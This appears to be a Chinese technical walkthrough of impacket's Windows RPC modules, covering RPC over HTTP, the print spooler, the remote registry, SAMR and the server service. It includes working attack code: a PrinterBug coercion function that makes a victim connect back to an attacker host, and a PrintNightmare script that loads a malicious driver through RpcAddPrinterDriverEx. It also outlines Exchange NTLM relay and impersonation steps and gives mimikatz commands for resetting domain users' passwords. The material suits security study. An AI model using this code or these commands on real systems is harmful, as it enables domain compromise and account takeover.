如果调用者将 remoteName 设置为空字符串,我们假设目标是 RPC 代理服务器本身,并从 NTLMSSP 获取其 NetBIOS 名称。如果管理员在安装 RPC Proxy 后重命名服务器或在安装 RPC Proxy 后将服务器加入域,ACL 将保持原来的状态。
exchange中继及rpcmap
对于 Exchange 服务器,默认 ACL 的值并不重要,因为它们允许通过自己的机制进行连接: - Exchange 2003 / 2007 / 2010 服务器添加了自己的 ACL,其中包括所有 Exchange 服务器(和一些其他服务器)的 NetBIOS 名称。此 ACL 在每台服务器上定期自动更新。 允许的端口:6001-6004 - 6001 用于 MS-OXCRPC - 6002 用于 MS-OXABREF - 6003 未使用 - 6004 用于 MS-OXNSPI - 在 Exchange 2010 上的测试表明 MS-OXNSPI 和 MS-OXABREF 在 6002 和 6004 上均可用。 - Exchange 2013 / 2016 / 2019 服务器自行处理 RemoteName(通过 RpcProxyShim.dll),支持 NetBIOS 名称格式只是为了向后兼容。 - 测试表明,所有协议都可以通过 RPC over HTTP v2 在 6001 / 6002 / 6004 端口上使用,分离只是为了向后兼容。 - 纯 ncacn_http 端点仅在 6001 TCP/IP 端口上可用。 - RpcProxyShim.dll 允许您跳过 RPC 级别的身份验证以获得更快的连接,它使 Exchange 2013 / 2016 / 2019 RPC over HTTP v2 端点容易受到 NTLM 中继攻击。 - 如果目标是 Microsoft TMG 背后的 Exchange,您很可能需要使用 /autodiscover/autodiscover.xml 中的值手动指定远程名称。 - 请注意,/autodiscover/autodiscover.xml 可能不适用于非 outlook 用户代理。单个外部 IP 上可能有多个具有不同 NetBIOS 名称的 RPC 代理服务器。 我们存储第一个的 NetBIOS 名称并将其用于以下所有通道。 - 对于 Exchange 来说假设所有 RPC 代理都具有相同的 ACL
以上关于 Exchange 的描述整理自 rpch 模块中对 Outlook Anywhere 功能的注释。
在 Microsoft Exchange Server 2013 中,Outlook Anywhere 功能(前称 RPC over HTTP)允许 Outlook 2013 / 2010 / 2007 客户端借助 RPC over HTTP Windows 网络组件,从公司网络外部或通过 Internet 连接到 Exchange 服务器。
简单来讲,Exchange 内部定义了若干可直接操作邮箱的 RPC 服务,通过 /Rpc/* 路径暴露,用户可经 RPC over HTTP 协议访问自己的邮箱。
根据Arseniy Sharoglazov所写的attacking-ms-exchange-web-interfaces,可以看到ruler工具使用RPC over HTTP v2进行攻击


端点/rpc/rpcproxy.dll实际上不是 Exchange 的一部分。它是名为RPC Proxy的服务的一部分。它是 RPC 客户端和 RPC 服务器之间的中间转发服务器。根据规范,每个客户端都必须使用 RPC 代理连接到 ncacn_http 服务,但如果需要,您当然可以模拟 RPC 代理并直接连接到 ncacn_http 端点。RPC IN 和 OUT 通道独立运行,它们可能会通过不同的 RPC 代理,并且 RPC 服务器也可以位于不同的主机上。
examples/rpcmap.py 通过 RPC over HTTP v2 调用 mgmt 的 ifids 枚举出 UUID,进而探测哪些端点可以通过 RPC over HTTP v2 访问:
def do(self):
try:
# ① 先绑定 MGMT 接口,用 hinq_if_ids 拿到目标进程已注册的全部接口 UUID
self.__dce.bind(mgmt.MSRPC_UUID_MGMT)
ifids = mgmt.hinq_if_ids(self.__dce)
# -brute-uuids:在枚举失败时改为暴力猜测 UUID
# (放在 hinq_if_ids 之后,避免多次尝试导致指定账户被锁)
if self.__brute_uuids:
self.bruteforce_uuids()
return
uuidtups = set(
uuid.bin_to_uuidtup(ifids['if_id_vector']['if_id'][index]['Data'].getData())
for index in range(ifids['if_id_vector']['count'])
)
uuidtups.add(('AFA8BD80-7D8A-11C9-BEF4-08002B102989', '1.0')) # MGMT 自身
# ② 逐个 UUID 输出:KNOWN_PROTOCOLS / KNOWN_UUIDS 匹配出协议与服务名
for tup in sorted(uuidtups):
self.handle_discovered_tup(tup)
......
def handle_discovered_tup(self, tup):
# KNOWN_UUIDS 命中则打印 Provider;再按需暴力版本号 / opnum 探测
if tup[0] in epm.KNOWN_PROTOCOLS:
print("Protocol: %s" % (epm.KNOWN_PROTOCOLS[tup[0]]))
......
print("UUID: %s v%s" % (tup[0], tup[1]))
if self.__brute_versions:
self.bruteforce_versions(tup[0])
if self.__brute_opnums:
try:
self.bruteforce_opnums(uuid.uuidtup_to_bin(tup))
except DCERPCException as e:
if str(e).find('abstract_syntax_not_supported') >= 0:
print("Listening: False")
else:
raise
由于 /Rpc/* 同样走 HTTP/HTTPS,可以对其进行中继攻击:一旦绕过身份验证访问 /Rpc/RpcProxy.dll,就可以模拟任意用户,通过 RPC over HTTP 协议操作其邮箱:
- 与 ex02 建立 RPC_IN_DATA、RPC_OUT_DATA 通道;
- 在 ex01 触发 PrinterBug 并中继到 ex02;
- 附加
X-CommonAccessToken头冒充目标用户,获取两台 Exchange 服务器的管理员权限; - 通过MS-OXCRPC和MS-OXCROPS over MS-RPCH的通信协议格式与 Outlook Anywhere 交互......
[MS-PAR] par.py — 异步打印协议(MS-RPRN 增强版)
打印系统异步远程协议(Print System Asynchronous Remote Protocol),定义了打印客户端和打印服务器之间打印作业处理与打印系统管理信息的通信,是 [MS-RPRN] 的异步增强版本,在 RPC 调用中提供更高强度的身份验证。
模块实现了如下方法:
OPNUMS = {
0 : (RpcAsyncOpenPrinter, RpcAsyncOpenPrinterResponse),指定打印机、端口、打印作业或打印服务器的句柄。客户端使用此方法获取远程计算机上现有打印机的打印句柄。
#1 : (RpcAsyncAddPrinter, RpcAsyncAddPrinterResponse),
20 : (RpcAsyncClosePrinter, RpcAsyncClosePrinterResponse),关闭先前由RpcAsyncOpenPrinter或RpcAsyncAddPrinter打开的打印机、服务器、作业或端口对象的句柄。
38 : (RpcAsyncEnumPrinters, RpcAsyncEnumPrintersResponse),枚举可用的本地打印机、指定打印服务器上的打印机、指定域中的打印机或打印提供程序。
39 : (RpcAsyncAddPrinterDriver, RpcAsyncAddPrinterDriver),在指定的打印服务器上安装指定的本地或远程打印机驱动程序,并链接配置、数据和驱动程序文件。
40 : (RpcAsyncEnumPrinterDrivers, RpcAsyncEnumPrinterDriversResponse),枚举安装在指定打印服务器上的打印机驱动程序
41 : (RpcAsyncGetPrinterDriverDirectory, RpcAsyncGetPrinterDriverDirectoryResponse)检索指定打印服务器上打印机驱动程序目录的路径。
}
注:上游 impacket 的 par.py 中 opnum 39 的元组第二项确实写作
RpcAsyncAddPrinterDriver(未引用已定义的RpcAsyncAddPrinterDriverResponse),此处按源码原样保留。
目前未发现公开利用脚本或已知漏洞涉及该接口。
[MS-RPRN] rprn.py — 打印系统协议(PrinterBug / PrintNightmare)
打印系统远程协议支持客户端和服务器之间的同步打印和假脱机操作,包括打印作业 控制和打印系统 管理。[MS-PAR]中指定了此协议的增强替代品。[MS-PAR] 在客户端和服务器之间的 RPC 调用中提供更高级别的身份验证.
微软一直未修复的 PrinterBug 正是利用该协议触发——内网很多 relay 攻击都由它触发目标认证,PrintNightmare 则是对该协议的另一种恶意利用。
我们先来看下模块实现接口的哪些方法
OPNUMS = {
0 : (RpcEnumPrinters, RpcEnumPrintersResponse),枚举可用的打印机、打印服务器、域或打印提供程序。
1 : (RpcOpenPrinter, RpcOpenPrinterResponse),检索打印机、端口、端口监视器、打印作业或打印服务器的句柄。
10 : (RpcEnumPrinterDrivers, RpcEnumPrinterDriversResponse),枚举安装在指定打印服务器上的打印机驱动程序。
12 : (RpcGetPrinterDriverDirectory, RpcGetPrinterDriverDirectoryResponse),检索打印机驱动程序目录的路径。
29 : (RpcClosePrinter, RpcClosePrinterResponse),关闭打印机对象、服务器对象、作业对象或端口对象的句柄。
65 : (RpcRemoteFindFirstPrinterChangeNotificationEx, RpcRemoteFindFirstPrinterChangeNotificationExResponse), 创建一个远程更改通知对象,监视打印机对象的更改,并使用 RpcRouterReplyPrinter 或 RpcRouterReplyPrinterEx 将更改通知发送到打印客户端。服务端处理流程:
# 1. 创建并初始化一个通知对象,用于捕获用户请求的通知设置。
# 2. 创建并初始化一个返回客户端的通知通道,服务器必须通过该通道传递更改通知。这必须通过在由 pszLocalMachine 指向的名称指定的客户端上调用 RpcReplyOpenPrinter 来完成。
# 3. 将通知对象与 hPrinter 的上下文相关联。
# 4. 执行完上述步骤后,服务器应该将客户端添加到打印机对象或服务器对象的通知客户端列表中;当对象发生变化时,使用 RpcRouterReplyPrinter 或 RpcRouterReplyPrinterEx 通知客户端。
# 5. 通知方法的选择不取决于通知请求使用的是 RpcRemoteFindFirstPrinterChangeNotification 还是其 Ex 版本,而取决于通知能否单独用 RpcRouterReplyPrinter 的 fdwFlags 参数表达,或是否需要 RpcRouterReplyPrinterEx 的附加参数提供额外信息。
# 6. 返回操作的状态。
69 : (RpcOpenPrinterEx, RpcOpenPrinterExResponse),检索打印机、端口、端口监视器、打印作业或打印服务器的句柄。
89 : (RpcAddPrinterDriverEx, RpcAddPrinterDriverExResponse), 在打印服务器上安装打印机驱动程序。功能类似于 RpcAddPrinterDriver,还可指定驱动升级、降级、仅复制较新文件、无视时间戳复制所有文件等选项。
}
printerbug和PrintNightmare
在 printerbug 中,lookup 方法通过 RpcRemoteFindFirstPrinterChangeNotificationEx 触发受害者主机反向连接攻击者(示例代码为 Python 2 语法):
def lookup(self, rpctransport, host):
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(rprn.MSRPC_UUID_RPRN)
logging.info('Bind OK')
try:
resp = rprn.hRpcOpenPrinter(dce, '\\\\%s\x00' % host)
except Exception, e:
if str(e).find('Broken pipe') >= 0:
# The connection timed-out. Let's try to bring it back next round
logging.error('Connection failed - skipping host!')
return
elif str(e).upper().find('ACCESS_DENIED'):
# We're not admin, bye
logging.error('Access denied - RPC call was denied')
dce.disconnect()
return
else:
raise
logging.info('Got handle')
request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx()
request['hPrinter'] = resp['pHandle']
request['fdwFlags'] = rprn.PRINTER_CHANGE_ADD_JOB
request['pszLocalMachine'] = '\\\\%s\x00' % self.__attackerhost
request['pOptions'] = NULL
try:
resp = dce.request(request)
except Exception as e:
print(e)
logging.info('Triggered RPC backconnect, this may or may not have worked')
dce.disconnect()
return None
Print Spooler 是 Windows 中管理打印事务的服务,负责后台执行打印作业、处理与打印机的交互、管理所有本地和网络打印队列。该服务对应进程 spoolsv.exe 以 SYSTEM 权限运行,其设计上存在严重缺陷:RpcAddPrinterDriverEx 的校验逻辑存在漏洞(SeLoadDriverPrivilege 相关检查可被绕过),参数可被攻击者控制,普通用户可通过 RPC 触发 RpcAddPrinterDriverEx 绕过安全检查写入恶意驱动。如果一个域中存在此漏洞,域中普通用户即可通过连接域控 Spooler 服务加载恶意驱动,从而控制整个域环境。
def main(dce, pDriverPath, share, handle=NULL):
#build DRIVER_CONTAINER package
container_info = rprn.DRIVER_CONTAINER()
container_info['Level'] = 2
container_info['DriverInfo']['tag'] = 2
container_info['DriverInfo']['Level2']['cVersion'] = 3
container_info['DriverInfo']['Level2']['pName'] = "1234\x00"
container_info['DriverInfo']['Level2']['pEnvironment'] = "Windows x64\x00"
container_info['DriverInfo']['Level2']['pDriverPath'] = pDriverPath + '\x00'
container_info['DriverInfo']['Level2']['pDataFile'] = "{0}\x00".format(share)
container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\winhttp.dll\x00"
flags = rprn.APD_COPY_ALL_FILES | 0x10 | 0x8000
filename = share.split("\\")[-1]
resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
print("[*] Stage0: {0}".format(resp['ErrorCode']))
container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\kernelbase.dll\x00"
for i in range(1, 30):
try:
container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\{0}\\{1}\x00".format(i, filename)
resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
print("[*] Stage{0}: {1}".format(i, resp['ErrorCode']))
if (resp['ErrorCode'] == 0):
print("[+] Exploit Completed")
sys.exit()
except Exception as e:
#print(e)
pass
[MS-RRP] rrp.py — 远程注册表操作(reg.py 的基础)
Windows 远程注册表协议是一种基于远程过程调用 (RPC)的客户端/服务器协议,用于远程管理分层数据存储,例如Windows 注册表。该协议在 examples/reg.py 中得到应用——reg.py 是 MSRPC 接口的远程注册表操作工具,目标是提供与 Windows 的 reg.exe 类似的功能。
模块实现了如下方法
OPNUMS = {
0 : (OpenClassesRoot, OpenClassesRootResponse),由客户端调用。作为响应,服务器打开HKEY_CLASSES_ROOT 预定义键。
1 : (OpenCurrentUser, OpenCurrentUserResponse),由客户端调用。作为响应,服务器打开 HKEY_CURRENT_USER 键的句柄。服务器必须确定 HKEY_USERS 的哪个子键是映射到 HKEY_CURRENT_USER 的正确键
2 : (OpenLocalMachine, OpenLocalMachineResponse),由客户端调用。作为响应,服务器打开HKEY_LOCAL_MACHINE预定义注册表项的句柄
3 : (OpenPerformanceData, OpenPerformanceDataResponse),由客户端调用。作为响应,服务器打开HKEY_PERFORMANCE_DATA 预定义键的句柄。HKEY_PERFORMANCE_DATA 预定义键用于仅使用BaseRegQueryInfoKey、 BaseRegQueryValue、BaseRegEnumValue和BaseRegCloseKey 方法从注册表服务器检索性能信息
4 : (OpenUsers, OpenUsersResponse),由客户端调用。作为响应,服务器打开HKEY_USERS预定义注册表项的句柄
5 : (BaseRegCloseKey, BaseRegCloseKeyResponse),由客户端调用。作为响应,服务器销毁(关闭)指定注册表项的句柄
6 : (BaseRegCreateKey, BaseRegCreateKeyResponse),由客户端调用。作为响应,服务器创建指定的注册表项并返回新创建的注册表项的句柄。如果注册表项已存在于注册表中,则打开并返回现有项的句柄。
7 : (BaseRegDeleteKey, BaseRegDeleteKeyResponse),由客户端调用。作为响应,服务器删除指定的子项
8 : (BaseRegDeleteValue, BaseRegDeleteValueResponse),由客户端调用。作为响应,服务器从指定的注册表项中删除命名值
9 : (BaseRegEnumKey, BaseRegEnumKeyResponse),枚举子项。作为响应,服务器返回请求的子项
10 : (BaseRegEnumValue, BaseRegEnumValueResponse),由客户端调用。作为响应,服务器枚举指定注册表项的指定索引处的值
11 : (BaseRegFlushKey, BaseRegFlushKeyResponse),由客户端调用。作为响应,服务器将hKey参数指示的所有子键和键值写入注册表数据的后备存储
12 : (BaseRegGetKeySecurity, BaseRegGetKeySecurityResponse),由客户端调用。作为响应,服务器返回保护指定的打开注册表项的安全描述符的副本
13 : (BaseRegLoadKey, BaseRegLoadKeyResponse),由客户端调用。作为响应,服务器从文件中加载键、子键和值数据,并将数据插入到注册表层次结构中。
15 : (BaseRegOpenKey, BaseRegOpenKeyResponse),由客户端调用。作为响应,服务器打开指定的注册表项进行访问并返回一个句柄
16 : (BaseRegQueryInfoKey, BaseRegQueryInfoKeyResponse),由客户端调用。作为响应,服务器返回指定注册表项句柄对应的相关信息
17 : (BaseRegQueryValue, BaseRegQueryValueResponse),由客户端调用。作为响应,服务器返回与指定注册表打开键的命名值关联的数据。如果未指定值名称,则服务器返回与指定注册表 打开键的默认值关联的数据。
18 : (BaseRegReplaceKey, BaseRegReplaceKeyResponse),由客户端调用。服务器将指定注册表项及其子项的后备文件替换为指定文件;系统下次启动后,该项及其子项将使用指定文件中的值。
19 : (BaseRegRestoreKey, BaseRegRestoreKeyResponse),服务器读取指定文件中的注册表信息并将其复制到指定的键上。注册表信息采用键和多级子键的形式。
20 : (BaseRegSaveKey, BaseRegSaveKeyResponse),服务器将指定的键、子键和值保存 到一个新文件中
21 : (BaseRegSetKeySecurity, BaseRegSetKeySecurityResponse),服务器设置保护指定的开放注册表项的安全描述符
22 : (BaseRegSetValue, BaseRegSetValueResponse),服务器为注册表项的指定值设置数据
23 : (BaseRegUnLoadKey, BaseRegUnLoadKeyResponse),服务器卸载以注册表层次结构顶部为根、由指定的键、子键和值组成的子树(配置单元)。
(BaseRegUnLoadKey 的设计用途见本节代码块后的补充说明)
26 : (BaseRegGetVersion, BaseRegGetVersionResponse),服务器返回远程注册 服务器的版本。客户端和服务器使用 BaseRegGetVersion 方法来确定远程注册表服务器是否同时支持 32 位和 64 位密钥命名空间。
27 : (OpenCurrentConfig, OpenCurrentConfigResponse),服务器尝试打开HKEY_CURRENT_CONFIG 预定义键的句柄
29 : (BaseRegQueryMultipleValues, BaseRegQueryMultipleValuesResponse),服务器返回与指定注册表项关联的客户端指定值名称列表的类型和数据。
31 : (BaseRegSaveKeyEx, BaseRegSaveKeyExResponse),服务器将指定的键、子键和值保存到一个新文件中。BaseRegSaveKeyEx 方法接受确定保存的键或值的格式的标志。
32 : (OpenPerformanceText, OpenPerformanceTextResponse),服务器打开HKEY_PERFORMANCE_TEXT 预定义键的句柄。HKEY_PERFORMANCE_TEXT预定义键用于仅使用BaseRegQueryInfoKey、 BaseRegQueryValue、BaseRegEnumValue和BaseRegCloseKey 方法从注册表服务器检索性能信息。
33 : (OpenPerformanceNlsText, OpenPerformanceNlsTextResponse),服务器打开HKEY_PERFORMANCE_NLSTEXT 预定义键的句柄。HKEY_PERFORMANCE_NLSTEXT 预定义键用于仅使用BaseRegQueryInfoKey、 BaseRegQueryValue、BaseRegEnumValue和BaseRegCloseKey 方法从注册表服务器检索性能信息。
34 : (BaseRegQueryMultipleValues2, BaseRegQueryMultipleValues2Response),服务器返回与指定注册表项关联的客户端指定值名称列表的类型和数据。
35 : (BaseRegDeleteKeyEx, BaseRegDeleteKeyExResponse),服务器删除指定的注册表项
}
补充说明 BaseRegUnLoadKey:该方法设计用于备份和恢复场景——客户端先用 BaseRegLoadKey 从磁盘文件加载注册表配置单元,读写数据后再用 BaseRegUnLoadKey 卸载。例如备份程序可以加载另一个用户的配置单元(其 HKEY_CURRENT_USER),读取键值后卸载。
examples/reg.py 通过调用 rrp 模块中的方法实现了对注册表的远程增删改查:
# eg./examples/reg.py
def query(self, dce, keyName):
# ① 拆出根键与子键:HKLM/HKU/HKCR 分别对应不同预定义键句柄
try:
rootKey = keyName.split('\\')[0]
subKey = '\\'.join(keyName.split('\\')[1:])
except Exception:
raise Exception('Error parsing keyName %s' % keyName)
if rootKey.upper() == 'HKLM':
ans = rrp.hOpenLocalMachine(dce)
elif rootKey.upper() == 'HKU':
ans = rrp.hOpenCurrentUser(dce)
elif rootKey.upper() == 'HKCR':
ans = rrp.hOpenClassesRoot(dce)
else:
raise Exception('Invalid root key %s ' % rootKey)
hRootKey = ans['phKey']
# ② 打开子键 → 查值 / 枚举子键 / 递归遍历(-v/-ve/-s 选项的输出逻辑略)
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,
samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
......
if self.__options.v:
value = rrp.hBaseRegQueryValue(dce, ans2['phkResult'], self.__options.v)
......
elif self.__options.s:
self.__print_all_subkeys_and_entries(dce, subKey + '\\', ans2['phkResult'], 0)
else:
self.__print_key_values(dce, ans2['phkResult'])
i = 0
while True:
try:
# ③ 循环 hBaseRegEnumKey 枚举全部子键,直至抛出异常
key = rrp.hBaseRegEnumKey(dce, ans2['phkResult'], i)
print(keyName + '\\' + key['lpNameOut'][:-1])
i += 1
except Exception:
break
[MS-SAMR] samr.py — SAM 账户管理(用户 / 组 / 密码)
安全账户管理器(SAM)远程协议(客户端到服务器)为包含用户和组的账户存储或目录提供管理功能。
简单来说,就是提供了用 RPC 远程管理服务器账户及密码的能力。
首先我们来看下impacket实现了接口的哪些方法
OPNUMS = {
0 : (SamrConnect, SamrConnectResponse),返回服务器对象的句柄
1 : (SamrCloseHandle, SamrCloseHandleResponse),关闭(即释放所使用的服务器端资源)从此 RPC 接口获得的任何上下文句柄
2 : (SamrSetSecurityObject, SamrSetSecurityObjectResponse),设置对服务器、域、用户、组或别名对象的访问控制
3 : (SamrQuerySecurityObject, SamrQuerySecurityObjectResponse),查询服务器、域、用户、组或别名对象的访问控制
5 : (SamrLookupDomainInSamServer, SamrLookupDomainInSamServerResponse),在给定对象名称的情况下获取域对象的SID
6 : (SamrEnumerateDomainsInSamServer, SamrEnumerateDomainsInSamServerResponse),获取由该协议的服务器端托管的所有域的列表
7 : (SamrOpenDomain, SamrOpenDomainResponse),在给定SID的情况下获取域对象的句柄
8 : (SamrQueryInformationDomain, SamrQueryInformationDomainResponse),从域对象获取属性
9 : (SamrSetInformationDomain, SamrSetInformationDomainResponse),更新域对象的属性
10 : (SamrCreateGroupInDomain, SamrCreateGroupInDomainResponse),在域中创建一个组对象
11 : (SamrEnumerateGroupsInDomain, SamrEnumerateGroupsInDomainResponse),枚举所有组
12 : (SamrCreateUserInDomain, SamrCreateUserInDomainResponse),创建一个用户
13 : (SamrEnumerateUsersInDomain, SamrEnumerateUsersInDomainResponse),枚举所有用户
14 : (SamrCreateAliasInDomain, SamrCreateAliasInDomainResponse),创建别名
15 : (SamrEnumerateAliasesInDomain, SamrEnumerateAliasesInDomainResponse),枚举所有别名
16 : (SamrGetAliasMembership, SamrGetAliasMembershipResponse),获取给定SID集所属的所有别名的联合
17 : (SamrLookupNamesInDomain, SamrLookupNamesInDomainResponse),将一组账户名转换为一组RID
18 : (SamrLookupIdsInDomain, SamrLookupIdsInDomainResponse),将一组RID 转换为账户名
19 : (SamrOpenGroup, SamrOpenGroupResponse),给定RID的情况下获取组的句柄
20 : (SamrQueryInformationGroup, SamrQueryInformationGroupResponse),从组对象中获取属性
21 : (SamrSetInformationGroup, SamrSetInformationGroupResponse),更新组对象的属性
22 : (SamrAddMemberToGroup, SamrAddMemberToGroupResponse),将成员添加到组中
23 : (SamrDeleteGroup, SamrDeleteGroupResponse),删除一个组对象
24 : (SamrRemoveMemberFromGroup, SamrRemoveMemberFromGroupResponse),从组中移除成员
25 : (SamrGetMembersInGroup, SamrGetMembersInGroupResponse),读取组的成员
26 : (SamrSetMemberAttributesOfGroup, SamrSetMemberAttributesOfGroupResponse),设置成员关系的属性
27 : (SamrOpenAlias, SamrOpenAliasResponse),给定RID的情况下获取别名的句柄
28 : (SamrQueryInformationAlias, SamrQueryInformationAliasResponse),从别名对象获取属性
29 : (SamrSetInformationAlias, SamrSetInformationAliasResponse),更新别名对象的属性
30 : (SamrDeleteAlias, SamrDeleteAliasResponse),删除别名对象
31 : (SamrAddMemberToAlias, SamrAddMemberToAliasResponse),将成员添加到别名
32 : (SamrRemoveMemberFromAlias, SamrRemoveMemberFromAliasResponse),从别名中删除成员
33 : (SamrGetMembersInAlias, SamrGetMembersInAliasResponse),获取别名的成员资格列表
34 : (SamrOpenUser, SamrOpenUserResponse),给定RID的情况下获取用户句柄
35 : (SamrDeleteUser, SamrDeleteUserResponse),删除用户对象
36 : (SamrQueryInformationUser, SamrQueryInformationUserResponse),从用户对象获取属性
37 : (SamrSetInformationUser, SamrSetInformationUserResponse),更新用户对象的属性
38 : (SamrChangePasswordUser, SamrChangePasswordUserResponse),更改用户对象的密码
39 : (SamrGetGroupsForUser, SamrGetGroupsForUserResponse),获取用户所属组的列表
40 : (SamrQueryDisplayInformation, SamrQueryDisplayInformationResponse),从指定索引开始,按名称升序获取账户列表
41 : (SamrGetDisplayEnumerationIndex, SamrGetDisplayEnumerationIndexResponse),获取按账户名升序排序的账户列表的索引
44 : (SamrGetUserDomainPasswordInformation, SamrGetUserDomainPasswordInformationResponse),获取密码策略信息(不需要域句柄)
45 : (SamrRemoveMemberFromForeignDomain, SamrRemoveMemberFromForeignDomainResponse),从所有别名中删除一个成员
46 : (SamrQueryInformationDomain2, SamrQueryInformationDomain2Response),从域对象获取属性
47 : (SamrQueryInformationUser2, SamrQueryInformationUser2Response),从用户对象获取属性
48 : (SamrQueryDisplayInformation2, SamrQueryDisplayInformation2Response),从指定索引开始,按名称升序获取账户列表
49 : (SamrGetDisplayEnumerationIndex2, SamrGetDisplayEnumerationIndex2Response),获取按账户名升序排序的账户列表的索引,这样索引就是账户名与客户端提供的字符串最匹配的账户列表中的位置。
50 : (SamrCreateUser2InDomain, SamrCreateUser2InDomainResponse),创建一个用户
51 : (SamrQueryDisplayInformation3, SamrQueryDisplayInformation3Response),从指定索引开始按名称升序获取账户列表
52 : (SamrAddMultipleMembersToAlias, SamrAddMultipleMembersToAliasResponse),将多个成员添加到别名
53 : (SamrRemoveMultipleMembersFromAlias, SamrRemoveMultipleMembersFromAliasResponse),从别名中删除多个成员
54 : (SamrOemChangePasswordUser2, SamrOemChangePasswordUser2Response),更改用户的密码
55 : (SamrUnicodeChangePasswordUser2, SamrUnicodeChangePasswordUser2Response),更改用户账户的密码
56 : (SamrGetDomainPasswordInformation, SamrGetDomainPasswordInformationResponse),获取选择的密码策略信息(无需向服务器进行身份验证)
57 : (SamrConnect2, SamrConnect2Response),返回服务器对象的句柄
58 : (SamrSetInformationUser2, SamrSetInformationUser2Response),更新用户对象的属性
62 : (SamrConnect4, SamrConnect4Response),获取服务器对象的句柄
64 : (SamrConnect5, SamrConnect5Response),获取服务器对象的句柄
65 : (SamrRidToSid, SamrRidToSidResponse),在给定RID的情况 下获取账户的SID
66 : (SamrSetDSRMPassword, SamrSetDSRMPasswordResponse),设置本地恢复密码。
67 : (SamrValidatePassword, SamrValidatePasswordResponse),根据本地存储的策略验证应用程序密码
}
该接口包含大量针对用户的操作。举个简单例子:examples/secretsdump.py 通过 hSamrConnect 连接 samr 接口,查询域 SID 并打开域句柄,再通过 hSamrEnumerateUsersInDomain 获取域用户列表:
# eg.examples/secretsdump.py
def connectSamr(self, domain):
# 句柄链:SAMR 连接 → 服务器句柄 → 查域 SID → 域句柄
rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr)
rpc.set_smb_connection(self.__smbConnection)
self.__samr = rpc.get_dce_rpc()
self.__samr.connect()
self.__samr.bind(samr.MSRPC_UUID_SAMR)
resp = samr.hSamrConnect(self.__samr) # ① 服务器句柄
serverHandle = resp['ServerHandle']
resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain)
self.__domainSid = resp['DomainId'].formatCanonical() # ② 域 SID
resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId'])
self.__domainHandle = resp['DomainHandle'] # ③ 域句柄
self.__domainName = domain
def getDomainUsers(self, enumerationContext=0):
if self.__samr is None:
self.connectSamr(self.getMachineNameAndDomain()[1])
# 按账户类型过滤(普通用户 / 工作站 / 服务器 / 域间信任账户)
try:
resp = samr.hSamrEnumerateUsersInDomain(self.__samr, self.__domainHandle,
userAccountControl=samr.USER_NORMAL_ACCOUNT | \
samr.USER_WORKSTATION_TRUST_ACCOUNT | \
samr.USER_SERVER_TRUST_ACCOUNT |\
samr.USER_INTERDOMAIN_TRUST_ACCOUNT,
enumerationContext=enumerationContext)
except DCERPCException as e:
# STATUS_MORE_ENTRIES 表示还有下一页,从异常包中取出当前页继续迭代
if str(e).find('STATUS_MORE_ENTRIES') < 0:
raise
resp = e.get_packet()
return resp
只拥有用户 hash 而没有明文密码时,有两种登录目标系统的方式:SetNTLM——直接把用户密码重置为已知值,登录完成后再还原;ChangeNTLM——修改用户密码,登录完成后再还原。
ChangeNTLM是调用SamrChangePasswordUser这一API来修改用户密码,需要对目标用户有Change Password权限,但该权限一般是Everyone拥有的,所以基本上拿到目标用户的hash/密码后都可以进行密码更改
而SetNTLM是通过SamrSetInformationUser来重置用户密码,当前身份对要修改的用户有Reset Password权限
由于 ChangeNTLM 受组策略密码复杂度等设置的影响较大,实战中一般使用 SetNTLM。
# SetNTLM
# 修改密码
lsadump::setntlm /server:<DC's_IP_or_FQDN> /user:<username> /password:<new_password>
# 还原密码
lsadump::setntlm /server:<DC's_IP_or_FQDN> /user:<username> /ntlm:<Original_Hash>
# ChangeNTLM
# 修改密码
lsadump::changentlm /server:<DC's_IP_or_FQDN> /user:<username> /old:<current_hash> /newpassword:<newpassword>
# 还原密码
lsadump::changentlm /server:<DC's_IP_or_FQDN> /user:<username> /oldpassword:<current_password_plain_text> /new:<original_hash>
在sam-the-admin中调用的addcomputer也是通过samr的SamrCreateUser2InDomain方法
# eg./sam-the-admin/blob/main/utils/addcomputer.py
try:
createUser = samr.hSamrCreateUser2InDomain(dce, domainHandle, self.__computerName, samr.USER_WORKSTATION_TRUST_ACCOUNT, samr.USER_FORCE_PASSWORD_CHANGE,)
except samr.DCERPCSessionError as e:
if e.error_code == 0xc0000022:
raise Exception("User %s doesn't have right to create a machine account!" % self.__username)
elif e.error_code == 0xc00002e7:
raise Exception("User %s machine quota exceeded!" % self.__username)
else:
raise
userHandle = createUser['UserHandle']
[MS-SRVS] srvs.py — 服务器服务(共享 / 会话管理)
服务器服务远程协议,用于通过SMB协议远程启用文件和打印机共享以及对服务器的命名管道访问,还用于远程管理运行 Windows 的服务器。简单来讲,MS-SRVS 通过 SMB 命名管道(依赖 MS-SMB2 传输)提供文件服务器的远程管理。
首先我们来看一下模块实现了接口的哪些方法
OPNUMS = {
8 : (NetrConnectionEnum, NetrConnectionEnumResponse),列出了对服务器上 的共享资源进行的所有树连接或 从特定计算机建立的所有树连接
9 : (NetrFileEnum, NetrFileEnumResponse),根据指定的参数返回有关服务器上部分或所有打开文件的信息
10 : (NetrFileGetInfo, NetrFileGetInfoResponse),检索有关特定开放服务器资源的信息
11 : (NetrFileClose, NetrFileCloseResponse),服务器在 RPC_REQUEST 数据包中接收 NetrFileClose 方法。作为响应,服务器必须强制关闭服务器上打开的资源实例(例如,文件、设备或命名管道)
12 : (NetrSessionEnum, NetrSessionEnumResponse),返回有关在服务器上建立的会话的信息
13 : (NetrSessionDel, NetrSessionDelResponse),结束服务器和客户端之间的一个或多个网络会话
14 : (NetrShareAdd, NetrShareAddResponse),共享服务器资源
15 : (NetrShareEnum, NetrShareEnumResponse),检索有关服务器上每个共享资源的信息
